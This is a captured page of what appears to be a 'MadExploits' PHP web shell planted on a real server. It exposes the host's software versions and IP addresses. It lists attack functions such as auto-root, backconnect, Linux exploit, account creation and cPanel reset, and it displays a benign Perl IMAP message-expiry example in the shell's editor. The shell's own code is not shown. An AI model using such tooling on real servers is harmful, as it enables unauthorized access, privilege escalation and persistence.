Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Mail-IMAPClient-3.37 /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
build_dist.pl
4.08
KB
-rw-r--r--
build_ldif.pl
5.93
KB
-rw-r--r--
cleanTest.pl
1.89
KB
-rw-r--r--
copy_folder.pl
3.96
KB
-rw-r--r--
cyrus_expire.pl
3.37
KB
-rw-r--r--
cyrus_expunge.pl
2.03
KB
-rw-r--r--
find_dup_msgs.pl
6.04
KB
-rw-r--r--
idle.pl
6.5
KB
-rw-r--r--
imap_to_mbox.pl
7
KB
-rw-r--r--
imtestExample.pl
5.59
KB
-rw-r--r--
migrate_mail2.pl
10.92
KB
-rw-r--r--
migrate_mbox.pl
3.03
KB
-rw-r--r--
populate_mailbox.pl
8.88
KB
-rw-r--r--
sharedFolder.pl
2.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cyrus_expire.pl
#!/usr/bin/perl #$Id use Mail::IMAPClient; # available from http://search.cpan.org/search?mode=module&query=IMAPClient use IO::File; use Getopt::Std; use vars qw/ $opt_d $opt_s $opt_p $opt_u $opt_P $opt_h /; &getopts('d:s:u:p:P:h'); # -d days_to_keep -u cyrys_user -p cyrus_pswd -s cyrus_server -P port my $days_to_keep = $opt_d||365; # Delete msgs older than -d arg or 365 days my $cutoff = time - ( $days_to_keep * 24 * 60 * 60 ) ; # time - arg * 24 * 60 * 60 = cutoff date in seconds # Change the following line (or replace it with something better): $opt_h and die help()."\n"; my $h = $opt_s || "localhost" ; my $u = $opt_u || "cyrys" ; my $p = $opt_p or die "Unable to continue. No password provided.\n" . help(); my $imap = Mail::IMAPClient->new( Server => "$h", User => "$u", # $u, Password=> "$p", # $p, Uid => 1, # True value Port => $opt_P||143, # imapd Debug => 0, # Make true to debug Buffer => 4096*10, # True value; decrease on machines w/little memory Fast_io => 1, # True value Timeout => 30, # True value # Debug_fh=> IO::File->new(">out.db"), # fhandle ) or die "$@"; my $mcnt = my $fcnt = 0; print "Deleting messages older than ",$imap->Rfc2060_date($cutoff),"\n"; for my $f ( $imap->folders ) { print "Expiring $f\n"; unless ($imap->select($f) ) { $imap->setacl($f,$u,"lrswipcda") or warn "Cannot setacl for $f: $@\n" and next; $imap->select($f) or warn "Cannot select $f: $@" and next; } my @expired = $imap->search("SENTBEFORE",$imap->Rfc2060_date($cutoff)); next unless @expired; $mcnt += scalar(@expired); $fcnt ++; print "Deleting ",scalar(@expired)," messages from $f\n"; $imap->delete_message(@expired); $imap->expunge; $imap->close; } $imap->logout; print "Deleted a total of $mcnt messages in $fcnt folders.\n"; exit; sub help { return <<"EOHELP"; Usage: $0 [ -d days_to_keep ] [ -s mail_server ] [ -u cyrus_admin_id ] -p cyrus_password $0 -h -h -- prints this here help message -d days_to_keep -- $0 will delete messages older than "days_to_keep". (Default is 365) -s mail_server -- hostname or IP Address of IMAP mail server (defaults to "localhost") -u cyrus_admin_id -- user name of Unix account that owns Cyrus server (defaults to "cyrus") -p cyrus_password -- password for the "cyrus_admin_id" user account (no default) -P cyrus_port -- port where the cyrus imapd daemon is listening (defaults to value from /etc/services or '143') EOHELP } =head1 AUTHOR David J. Kernen The Kernen Group, Inc. imap@kernengroup.com =head1 COPYRIGHT This example and Mail::IMAPClient are Copyright (c) 2003 by The Kernen Group, Inc. All rights reserved. This example is distributed with Mail::IMAPClient and subject to the same licensing requirements as Mail::IMAPClient. imtest is a utility distributed with Cyrus IMAP server, Copyright (c) 1994-2000 Carnegie Mellon University. All rights reserved. =cut #$Log: cyrus_expire.pl,v $ #Revision 19991216.2 2003/06/12 21:38:31 dkernen # #Preparing 2.2.8 #Added Files: COPYRIGHT #Modified Files: Parse.grammar #Added Files: Makefile.old # Makefile.PL Todo sample.perldb # BodyStructure.pm # Parse.grammar Parse.pod # range.t # Thread.grammar # draft-crispin-imapv-17.txt rfc1731.txt rfc2060.txt rfc2062.txt # rfc2221.txt rfc2359.txt rfc2683.txt #
Close